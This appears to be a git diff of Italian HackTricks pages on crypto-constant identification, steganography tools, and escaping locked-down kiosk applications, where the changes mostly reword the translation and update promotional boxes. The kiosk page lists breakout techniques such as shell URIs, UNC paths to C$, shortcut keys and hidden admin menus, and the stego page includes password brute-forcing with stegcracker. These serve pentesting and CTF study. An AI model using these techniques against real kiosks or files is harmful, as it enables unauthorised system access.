@ -115,7 +116,7 @@ In questo caso, se cerchi **0xA56363C6** puoi scoprire che è correlato alle **t
### Identificazione ### Identificazione
Nell'immagine seguente nota come viene utilizzata la costante **0x9E3779B9** (nota che questa costante è utilizzata anche da altri algoritmi crittografici come **TEA** -Tiny Encryption Algorithm).\ Nell'immagine seguente, nota come viene utilizzata la costante **0x9E3779B9** (nota che questa costante è utilizzata anche da altri algoritmi crittografici come **TEA** -Tiny Encryption Algorithm).\
Nota anche la **dimensione del ciclo** (**132**) e il **numero di operazioni XOR** nelle istruzioni di **disassemblaggio** e nell'esempio di **codice**: Nota anche la **dimensione del ciclo** (**132**) e il **numero di operazioni XOR** nelle istruzioni di **disassemblaggio** e nell'esempio di **codice**:
![](<../../.gitbook/assets/image (547).png>) ![](<../../.gitbook/assets/image (547).png>)
@ -130,7 +131,7 @@ Pertanto, è possibile identificare questo algoritmo controllando il **numero ma
### Caratteristiche ### Caratteristiche
* Più complesso rispetto agli algoritmi simmetrici * Più complesso rispetto agli algoritmi simmetrici
* Non ci sono costanti! (difficile determinare implementazioni personalizzate) * Non ci sono costanti! (difficili da determinare le implementazioni personalizzate)
* KANAL (un analizzatore crittografico) non fornisce suggerimenti su RSA in quanto si basa su costanti. * KANAL (un analizzatore crittografico) non fornisce suggerimenti su RSA in quanto si basa su costanti.
### Identificazione tramite confronti ### Identificazione tramite confronti

View file

@ -1,18 +1,19 @@
# Trucchi di Stego # Trucchi di Stego
{% hint style="success" %}
Impara e pratica l'Hacking su AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary> <summary>Sostieni HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! * **Condividi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di GitHub.
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %}
**Try Hard Security Group** **Try Hard Security Group**
@ -34,7 +35,7 @@ binwalk --dd ".*" file # Extracts all data
``` ```
### **Principale** ### **Principale**
Recupera file in base all'intestazione e al piè di pagina, utile per le immagini png. Installato tramite `apt` con la sua sorgente su [GitHub](https://github.com/korczis/foremost). Recupera file in base all'intestazione e al piè di pagina, utile per immagini png. Installato tramite `apt` con la sua sorgente su [GitHub](https://github.com/korczis/foremost).
```bash ```bash
foremost -i file # Extracts data foremost -i file # Extracts data
``` ```
@ -92,26 +93,26 @@ Per tentare di riparare un'immagine danneggiata, potrebbe essere utile aggiunger
```bash ```bash
./magick mogrify -set comment 'Extraneous bytes removed' stego.jpg ./magick mogrify -set comment 'Extraneous bytes removed' stego.jpg
``` ```
### **Steghide per la Nascita dei Dati** ### **Steghide per il Nascondimento dei Dati**
Steghide facilita la nascita dei dati all'interno dei file `JPEG, BMP, WAV e AU`, in grado di incorporare ed estrarre dati criptati. L'installazione è semplice utilizzando `apt`, e il [codice sorgente è disponibile su GitHub](https://github.com/StefanoDeVuono/steghide). Steghide facilita il nascondimento dei dati all'interno dei file `JPEG, BMP, WAV e AU`, in grado di incorporare ed estrarre dati criptati. L'installazione è semplice utilizzando `apt`, e il [codice sorgente è disponibile su GitHub](https://github.com/StefanoDeVuono/steghide).
**Comandi:** **Comandi:**
* `steghide info file` rivela se un file contiene dati nascosti. * `steghide info file` rivela se un file contiene dati nascosti.
* `steghide extract -sf file [--passphrase password]` estrae i dati nascosti, password facoltativa. * `steghide extract -sf file [--passphrase password]` estrae i dati nascosti, password opzionale.
Per l'estrazione basata sul web, visita [questo sito web](https://futureboy.us/stegano/decinput.html). Per l'estrazione basata sul web, visita [questo sito web](https://futureboy.us/stegano/decinput.html).
**Attacco di Forza Bruta con Stegcracker:** **Attacco di Forza Bruta con Stegcracker:**
* Per tentare la violazione della password su Steghide, utilizza [stegcracker](https://github.com/Paradoxis/StegCracker.git) nel seguente modo: * Per tentare il cracking della password su Steghide, utilizza [stegcracker](https://github.com/Paradoxis/StegCracker.git) nel seguente modo:
```bash ```bash
stegcracker <file> [<wordlist>] stegcracker <file> [<wordlist>]
``` ```
### **zsteg per file PNG e BMP** ### **zsteg per file PNG e BMP**
zsteg è specializzato nel rivelare dati nascosti nei file PNG e BMP. L'installazione avviene tramite `gem install zsteg`, con la sua [fonte su GitHub](https://github.com/zed-0xff/zsteg). zsteg si specializza nel rivelare dati nascosti nei file PNG e BMP. L'installazione avviene tramite `gem install zsteg`, con la sua [fonte su GitHub](https://github.com/zed-0xff/zsteg).
**Comandi:** **Comandi:**
@ -120,7 +121,7 @@ zsteg è specializzato nel rivelare dati nascosti nei file PNG e BMP. L'installa
### **StegoVeritas e Stegsolve** ### **StegoVeritas e Stegsolve**
**stegoVeritas** controlla i metadati, esegue trasformazioni delle immagini, e applica la forza bruta LSB tra le altre funzionalità. Utilizza `stegoveritas.py -h` per un elenco completo delle opzioni e `stegoveritas.py stego.jpg` per eseguire tutti i controlli. **stegoVeritas** controlla i metadati, esegue trasformazioni dell'immagine e applica la forza bruta LSB tra le altre funzionalità. Utilizza `stegoveritas.py -h` per un elenco completo delle opzioni e `stegoveritas.py stego.jpg` per eseguire tutti i controlli.
**Stegsolve** applica vari filtri di colore per rivelare testi o messaggi nascosti nelle immagini. È disponibile su [GitHub](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve). **Stegsolve** applica vari filtri di colore per rivelare testi o messaggi nascosti nelle immagini. È disponibile su [GitHub](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve).
@ -141,23 +142,23 @@ Stegpy consente di incorporare informazioni nei file audio e immagine, supportan
apt-get install pngcheck apt-get install pngcheck
pngcheck stego.png pngcheck stego.png
``` ```
### **Strumenti Aggiuntivi per l'Analisi delle Immagini** ### **Strumenti aggiuntivi per l'analisi delle immagini**
Per ulteriori esplorazioni, considera di visitare: Per ulteriori esplorazioni, considera di visitare:
* [Magic Eye Solver](http://magiceye.ecksdee.co.uk/) * [Magic Eye Solver](http://magiceye.ecksdee.co.uk/)
* [Analisi del Livello di Errore dell'Immagine](https://29a.ch/sandbox/2012/imageerrorlevelanalysis/) * [Analisi del livello di errore dell'immagine](https://29a.ch/sandbox/2012/imageerrorlevelanalysis/)
* [Outguess](https://github.com/resurrecting-open-source-projects/outguess) * [Outguess](https://github.com/resurrecting-open-source-projects/outguess)
* [OpenStego](https://www.openstego.com/) * [OpenStego](https://www.openstego.com/)
* [DIIT](https://diit.sourceforge.net/) * [DIIT](https://diit.sourceforge.net/)
## **Estrarre Dati dagli Audio** ## **Estrarre dati dagli audio**
La **steganografia audio** offre un metodo unico per nascondere informazioni all'interno dei file audio. Diversi strumenti sono utilizzati per incorporare o recuperare contenuti nascosti. La **steganografia audio** offre un metodo unico per nascondere informazioni nei file audio. Diversi strumenti sono utilizzati per incorporare o recuperare contenuti nascosti.
### **Steghide (JPEG, BMP, WAV, AU)** ### **Steghide (JPEG, BMP, WAV, AU)**
Steghide è uno strumento versatile progettato per nascondere dati nei file JPEG, BMP, WAV e AU. Istruzioni dettagliate sono fornite nella [documentazione dei trucchi stego](stego-tricks.md#steghide). Steghide è uno strumento versatile progettato per nascondere dati nei file JPEG, BMP, WAV e AU. Istruzioni dettagliate sono fornite nella [documentazione dei trucchi di stego](stego-tricks.md#steghide).
### **Stegpy (PNG, BMP, GIF, WebP, WAV)** ### **Stegpy (PNG, BMP, GIF, WebP, WAV)**
@ -183,7 +184,7 @@ Deepsound consente la crittografia e il rilevamento di informazioni all'interno
### **Sonic Visualizer** ### **Sonic Visualizer**
Uno strumento prezioso per l'ispezione visiva e analitica dei file audio, Sonic Visualizer può rivelare elementi nascosti non rilevabili in altri modi. Visita il [sito ufficiale](https://www.sonicvisualiser.org/) per ulteriori informazioni. Uno strumento prezioso per l'ispezione visiva e analitica dei file audio, Sonic Visualizer può rivelare elementi nascosti non rilevabili con altri mezzi. Visita il [sito ufficiale](https://www.sonicvisualiser.org/) per ulteriori informazioni.
### **Toni DTMF - Toni di Selezione** ### **Toni DTMF - Toni di Selezione**
@ -198,31 +199,32 @@ I dati binari che danno un numero intero potrebbero rappresentare un codice QR.
import math import math
math.sqrt(2500) #50 math.sqrt(2500) #50
``` ```
### **Traduzione Braille** ### **Traduzione in Braille**
Per tradurre il Braille, il [Branah Braille Translator](https://www.branah.com/braille-translator) è una risorsa eccellente. Per tradurre in Braille, il [Traduttore Braille di Branah](https://www.branah.com/braille-translator) è una risorsa eccellente.
## **Riferimenti** ## **Riferimenti**
* [**https://0xrick.github.io/lists/stego/**](https://0xrick.github.io/lists/stego/) * [**https://0xrick.github.io/lists/stego/**](https://0xrick.github.io/lists/stego/)
* [**https://github.com/DominicBreuker/stego-toolkit**](https://github.com/DominicBreuker/stego-toolkit) * [**https://github.com/DominicBreuker/stego-toolkit**](https://github.com/DominicBreuker/stego-toolkit)
**Try Hard Security Group** **Gruppo di Sicurezza Try Hard**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Impara e pratica l'Hacking su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Supporta HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! * **Condividi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
</details> </details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# Fuga dai KIOSK # Fuga dai KIOSKs
{% hint style="success" %}
Impara e pratica l'Hacking su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Sostieni HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! * **Condividi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
</details> </details>
{% endhint %}
#### [WhiteIntel](https://whiteintel.io) #### [WhiteIntel](https://whiteintel.io)
@ -20,9 +21,9 @@ Altri modi per supportare HackTricks:
[**WhiteIntel**](https://whiteintel.io) è un motore di ricerca alimentato dal **dark web** che offre funzionalità **gratuite** per verificare se un'azienda o i suoi clienti sono stati **compromessi** da **malware ruba-informazioni**. [**WhiteIntel**](https://whiteintel.io) è un motore di ricerca alimentato dal **dark web** che offre funzionalità **gratuite** per verificare se un'azienda o i suoi clienti sono stati **compromessi** da **malware ruba-informazioni**.
Il loro obiettivo principale di WhiteIntel è combattere i takeover degli account e gli attacchi ransomware derivanti da malware che rubano informazioni. Il loro obiettivo principale è contrastare le violazioni di account e gli attacchi ransomware derivanti da malware che rubano informazioni.
Puoi controllare il loro sito web e provare il loro motore gratuitamente su: Puoi controllare il loro sito web e provare il loro motore **gratuitamente** su:
{% embed url="https://whiteintel.io" %} {% embed url="https://whiteintel.io" %}
@ -33,14 +34,14 @@ Puoi controllare il loro sito web e provare il loro motore gratuitamente su:
| Componente | Azione | | Componente | Azione |
| ------------- | -------------------------------------------------------------------- | | ------------- | -------------------------------------------------------------------- |
| Pulsante di accensione | Spegnere e riaccendere il dispositivo potrebbe esporre la schermata di avvio | | Pulsante di accensione | Spegnere e riaccendere il dispositivo potrebbe esporre la schermata di avvio |
| Cavo di alimentazione | Controlla se il dispositivo si riavvia quando l'alimentazione viene interrotta brevemente | | Cavo di alimentazione | Verifica se il dispositivo si riavvia quando l'alimentazione viene interrotta brevemente |
| Porte USB | Collega una tastiera fisica con più scorciatoie | | Porte USB | Collega una tastiera fisica con più scorciatoie |
| Ethernet | La scansione di rete o lo sniffing potrebbero abilitare ulteriori sfruttamenti | | Ethernet | La scansione di rete o lo sniffing potrebbero consentire ulteriori sfruttamenti |
## Controlla le possibili azioni all'interno dell'applicazione GUI ## Controlla le possibili azioni all'interno dell'applicazione GUI
I **Dialoghi Comuni** sono quelle opzioni di **salvataggio di un file**, **apertura di un file**, selezione di un font, di un colore... La maggior parte di essi **offrirà una funzionalità completa di Esplora risorse**. Ciò significa che potrai accedere alle funzionalità di Esplora risorse se puoi accedere a queste opzioni: I **Dialoghi Comuni** sono quelle opzioni di **salvataggio di un file**, **apertura di un file**, selezione di un carattere, di un colore... La maggior parte di essi **offrirà una funzionalità completa di Esplora risorse**. Ciò significa che potrai accedere alle funzionalità di Esplora risorse se puoi accedere a queste opzioni:
* Chiudi/Chiudi come * Chiudi/Chiudi come
* Apri/Apri con * Apri/Apri con
@ -49,7 +50,7 @@ I **Dialoghi Comuni** sono quelle opzioni di **salvataggio di un file**, **apert
* Cerca * Cerca
* Scansiona * Scansiona
Dovresti controllare se puoi: Dovresti verificare se puoi:
* Modificare o creare nuovi file * Modificare o creare nuovi file
* Creare collegamenti simbolici * Creare collegamenti simbolici
@ -72,12 +73,12 @@ _bash, sh, zsh..._ Più qui: [https://gtfobins.github.io/](https://gtfobins.gith
### Eludere le restrizioni del percorso ### Eludere le restrizioni del percorso
* **Variabili d'ambiente**: Ci sono molte variabili d'ambiente che puntano a qualche percorso * **Variabili d'ambiente**: Ci sono molte variabili d'ambiente che puntano a un determinato percorso
* **Altri protocolli**: _about:, data:, ftp:, file:, mailto:, news:, res:, telnet:, view-source:_ * **Altri protocolli**: _about:, data:, ftp:, file:, mailto:, news:, res:, telnet:, view-source:_
* **Collegamenti simbolici** * **Collegamenti simbolici**
* **Scorciatoie**: CTRL+N (apri nuova sessione), CTRL+R (Esegui Comandi), CTRL+SHIFT+ESC (Task Manager), Windows+E (apri esplora risorse), CTRL-B, CTRL-I (Preferiti), CTRL-H (Cronologia), CTRL-L, CTRL-O (File/Apri Dialogo), CTRL-P (Dialogo di Stampa), CTRL-S (Salva come) * **Scorciatoie**: CTRL+N (apri nuova sessione), CTRL+R (Esegui Comandi), CTRL+SHIFT+ESC (Task Manager), Windows+E (apri esplora risorse), CTRL-B, CTRL-I (Preferiti), CTRL-H (Cronologia), CTRL-L, CTRL-O (File/Apri Dialogo), CTRL-P (Dialogo di Stampa), CTRL-S (Salva come)
* Menu amministrativo nascosto: CTRL-ALT-F8, CTRL-ESC-F9 * Menu amministrativo nascosto: CTRL-ALT-F8, CTRL-ESC-F9
* **URI della Shell**: _shell:Strumenti Amministrativi, shell:Libreria Documenti, shell:Biblioteche, shell:Profili Utente, shell:Personale, shell:Cartella Ricerca, shell:Sistemashell:Cartelle Rete, shell:Invia a, shell:Profili Utenti, shell:Strumenti Amministrativi Comuni, shell:Risorse del Computer, shell:Internet_ * **URI della Shell**: _shell:Strumenti Amministrativi, shell:Libreria Documenti, shell:Biblioteche, shell:Profili Utente, shell:Personale, shell:Cartella Ricerca, shell:Sistemashell:Cartelle Posta di Rete, shell:Invia a, shell:Profili Utenti, shell:Strumenti Amministrativi Comuni, shell:Risorse del Computer, shell:Cartella Internet_
* **Percorsi UNC**: Percorsi per connettersi a cartelle condivise. Dovresti provare a connetterti al C$ della macchina locale ("\\\127.0.0.1\c$\Windows\System32") * **Percorsi UNC**: Percorsi per connettersi a cartelle condivise. Dovresti provare a connetterti al C$ della macchina locale ("\\\127.0.0.1\c$\Windows\System32")
* **Altri percorsi UNC:** * **Altri percorsi UNC:**
@ -91,7 +92,7 @@ _bash, sh, zsh..._ Più qui: [https://gtfobins.github.io/](https://gtfobins.gith
| %PROMPT% | %PSModulePath% | %Public% | | %PROMPT% | %PSModulePath% | %Public% |
| %SYSTEMDRIVE% | %SYSTEMROOT% | %TEMP% | | %SYSTEMDRIVE% | %SYSTEMROOT% | %TEMP% |
| %TMP% | %USERDOMAIN% | %USERNAME% | | %TMP% | %USERDOMAIN% | %USERNAME% |
| %USERPROFILE% | %WINDIR% | | | %USERPROFILE% | %WINDIR% | |
### Scarica i Tuoi Binari ### Scarica i Tuoi Binari
@ -137,14 +138,14 @@ Editor del Registro di sistema: [https://sourceforge.net/projects/uberregedit/](
### Swipe ### Swipe
* Scorri dal lato sinistro a quello destro per vedere tutte le finestre aperte, minimizzando l'app KIOSK e accedendo direttamente a tutto il sistema operativo; * Scorri dal lato sinistro a quello destro per vedere tutte le finestre aperte, minimizzando l'applicazione KIOSK e accedendo direttamente a tutto il sistema operativo;
* Scorri dal lato destro a sinistra per aprire il Centro notifiche, minimizzando l'app KIOSK e accedendo direttamente a tutto il sistema operativo; * Scorri dal lato destro a sinistra per aprire il Centro notifiche, minimizzando l'applicazione KIOSK e accedendo direttamente a tutto il sistema operativo;
* Scorri dal bordo superiore per rendere visibile la barra del titolo di un'app aperta in modalità schermo intero; * Scorri dal bordo superiore per rendere visibile la barra del titolo di un'app aperta in modalità schermo intero;
* Scorri verso l'alto dal basso per mostrare la barra delle applicazioni in un'app a schermo intero. * Scorri verso l'alto dal basso per mostrare la barra delle applicazioni in un'app a schermo intero.
### Trucchi di Internet Explorer ### Trucchi per Internet Explorer
#### 'Barra degli strumenti per le immagini' #### 'Barra degli strumenti delle immagini'
È una barra degli strumenti che appare in alto a sinistra dell'immagine quando viene cliccata. Sarai in grado di Salvare, Stampare, Inviare per posta, Aprire "Le mie immagini" in Esplora risorse. Il Kiosk deve utilizzare Internet Explorer. È una barra degli strumenti che appare in alto a sinistra dell'immagine quando viene cliccata. Sarai in grado di Salvare, Stampare, Inviare per posta, Aprire "Le mie immagini" in Esplora risorse. Il Kiosk deve utilizzare Internet Explorer.
@ -158,10 +159,11 @@ Digita questi URL per ottenere una visualizzazione di Esplora risorse:
* `shell:Profili utente` * `shell:Profili utente`
* `shell:Personale` * `shell:Personale`
* `shell:Cartella home di ricerca` * `shell:Cartella home di ricerca`
* `shell:Cartelle posta` * `shell:Cartelle posta di rete`
* `shell:Invia a`
* `shell:Profili utente` * `shell:Profili utente`
* `shell:Strumenti di amministrazione comuni` * `shell:Strumenti di amministrazione comuni`
* `shell:Risorse del computer` * `shell:Cartella computer`
* `shell:Cartella Internet` * `shell:Cartella Internet`
* `Shell:Profilo` * `Shell:Profilo`
* `Shell:Programmi` * `Shell:Programmi`
@ -170,16 +172,16 @@ Digita questi URL per ottenere una visualizzazione di Esplora risorse:
* `Shell:Windows` * `Shell:Windows`
* `shell:::{21EC2020-3AEA-1069-A2DD-08002B30309D}` --> Pannello di controllo * `shell:::{21EC2020-3AEA-1069-A2DD-08002B30309D}` --> Pannello di controllo
* `shell:::{20D04FE0-3AEA-1069-A2D8-08002B30309D}` --> Il mio computer * `shell:::{20D04FE0-3AEA-1069-A2D8-08002B30309D}` --> Il mio computer
* `shell:::{{208D2C60-3AEA-1069-A2D7-08002B30309D}}` --> Le mie risorse di rete * `shell:::{{208D2C60-3AEA-1069-A2D7-08002B30309D}}` --> Le mie posizioni di rete
* `shell:::{871C5380-42A0-1069-A2EA-08002B30309D}` --> Internet Explorer * `shell:::{871C5380-42A0-1069-A2EA-08002B30309D}` --> Internet Explorer
### Mostra le estensioni dei file ### Mostra le estensioni dei file
Controlla questa pagina per ulteriori informazioni: [https://www.howtohaven.com/system/show-file-extensions-in-windows-explorer.shtml](https://www.howtohaven.com/system/show-file-extensions-in-windows-explorer.shtml) Controlla questa pagina per ulteriori informazioni: [https://www.howtohaven.com/system/show-file-extensions-in-windows-explorer.shtml](https://www.howtohaven.com/system/show-file-extensions-in-windows-explorer.shtml)
## Trucchi dei browser ## Trucchi per i browser
Backup delle versioni iKat: Backup delle versioni di iKat:
[http://swin.es/k/](http://swin.es/k/)\ [http://swin.es/k/](http://swin.es/k/)\
[http://www.ikat.kronicd.net/](http://www.ikat.kronicd.net)\\ [http://www.ikat.kronicd.net/](http://www.ikat.kronicd.net)\\
@ -191,17 +193,17 @@ Fonte: https://medium.com/@Rend\_/give-me-a-browser-ill-give-you-a-shell-de19811
### Gesture e pulsanti ### Gesture e pulsanti
* Scorri verso l'alto con quattro (o cinque) dita / Tocca due volte il pulsante Home: Per visualizzare la vista multitasking e cambiare app * Scorri verso l'alto con quattro (o cinque) dita / Doppio tocco sul pulsante Home: Per visualizzare la vista multitasking e cambiare app
* Scorri da un lato all'altro con quattro o cinque dita: Per passare all'app successiva/precedente * Scorri da una parte all'altra con quattro o cinque dita: Per passare all'app successiva/precedente
* Pizzica lo schermo con cinque dita / Tocca il pulsante Home / Scorri verso l'alto con 1 dito dal basso dello schermo in modo rapido verso l'alto: Per accedere alla Home * Pizzica lo schermo con cinque dita / Tocca il pulsante Home / Scorri verso l'alto con 1 dito dal basso dello schermo in modo rapido verso l'alto: Per accedere alla Home
* Scorri con un dito dal basso dello schermo solo 1-2 pollici (lentamente): Comparirà il dock * Scorri con un dito dal basso dello schermo solo 1-2 pollici (lentamente): Comparirà il dock
* Scorri verso il basso dall'alto del display con 1 dito: Per visualizzare le notifiche * Scorri verso il basso dall'alto del display con 1 dito: Per visualizzare le notifiche
* Scorri verso il basso con 1 dito nell'angolo in alto a destra dello schermo: Per visualizzare il centro di controllo dell'iPad Pro * Scorri verso il basso con 1 dito nell'angolo in alto a destra dello schermo: Per vedere il centro di controllo di iPad Pro
* Scorri con 1 dito dal lato sinistro dello schermo 1-2 pollici: Per visualizzare la vista di Oggi * Scorri con 1 dito dal lato sinistro dello schermo 1-2 pollici: Per visualizzare la vista di oggi
* Scorri rapidamente con 1 dito dal centro dello schermo verso destra o sinistra: Per passare all'app successiva/precedente * Scorri rapidamente con 1 dito dal centro dello schermo verso destra o sinistra: Per passare all'app successiva/precedente
* Premi e tieni premuto il pulsante Accensione/Spegnimento nell'angolo in alto a destra dell'iPad + Sposta il cursore Spegni tutto il modo a destra: Per spegnere * Premi e tieni premuto il pulsante Accensione/Spegnimento nell'angolo superiore destro dell'iPad + Sposta il cursore Spegni tutto il modo a destra: Per spegnere
* Premi il pulsante Accensione/Spegnimento nell'angolo in alto a destra dell'iPad e il pulsante Home per alcuni secondi: Per forzare uno spegnimento * Premi il pulsante Accensione/Spegnimento nell'angolo superiore destro dell'iPad e il pulsante Home per alcuni secondi: Per forzare uno spegnimento
* Premi il pulsante Accensione/Spegnimento nell'angolo in alto a destra dell'iPad e il pulsante Home rapidamente: Per fare uno screenshot che comparirà nell'angolo in basso a sinistra del display. Premi entrambi i pulsanti contemporaneamente molto brevemente, se li tieni premuti per alcuni secondi verrà eseguito uno spegnimento forzato. * Premi il pulsante Accensione/Spegnimento nell'angolo superiore destro dell'iPad e il pulsante Home rapidamente: Per fare uno screenshot che comparirà nell'angolo in basso a sinistra del display. Premi entrambi i pulsanti contemporaneamente molto brevemente, se li tieni premuti per alcuni secondi verrà eseguito uno spegnimento forzato.
### Scorciatoie ### Scorciatoie
@ -222,19 +224,19 @@ Dovresti avere una tastiera per iPad o un adattatore per tastiera USB. Qui verra
#### Scorciatoie di sistema #### Scorciatoie di sistema
Queste scorciatoie sono per le impostazioni visive e sonore, a seconda dell'uso dell'iPad. Queste scorciatoie sono per le impostazioni visive e audio, a seconda dell'uso dell'iPad.
| Scorciatoia | Azione | | Scorciatoia | Azione |
| -------- | ------------------------------------------------------------------------------ | | -------- | ------------------------------------------------------------------------------ |
| F1 | Abbassa luminosità schermo | | F1 | Abbassa luminosità schermo |
| F2 | Aumenta luminosità schermo | | F2 | Aumenta luminosità schermo |
| F7 | Indietro di una canzone | | F7 | Torna indietro di una canzone |
| F8 | Riproduci/metti in pausa | | F8 | Riproduci/metti in pausa |
| F9 | Salta canzone | | F9 | Salta canzone |
| F10 | Silenzia | | F10 | Silenzia |
| F11 | Diminuisci volume | | F11 | Diminuisci volume |
| F12 | Aumenta volume | | F12 | Aumenta volume |
| ⌘ Spazio | Mostra un elenco di lingue disponibili; per sceglierne una, tocca di nuovo il tasto spazio. | | ⌘ Spazio | Visualizza un elenco di lingue disponibili; per sceglierne una, tocca di nuovo il tasto spazio. |
#### Navigazione iPad #### Navigazione iPad
@ -252,7 +254,7 @@ Queste scorciatoie sono per le impostazioni visive e sonore, a seconda dell'uso
| ^⌥H (Control-Option-H) | Pulsante Home | | ^⌥H (Control-Option-H) | Pulsante Home |
| ^⌥H H (Control-Option-H-H) | Mostra la barra multitasking | | ^⌥H H (Control-Option-H-H) | Mostra la barra multitasking |
| ^⌥I (Control-Option-i) | Selettore di elementi | | ^⌥I (Control-Option-i) | Selettore di elementi |
| Esci | Pulsante Indietro | | Escape | Pulsante Indietro |
| → (Freccia destra) | Prossimo elemento | | → (Freccia destra) | Prossimo elemento |
| ← (Freccia sinistra) | Elemento precedente | | ← (Freccia sinistra) | Elemento precedente |
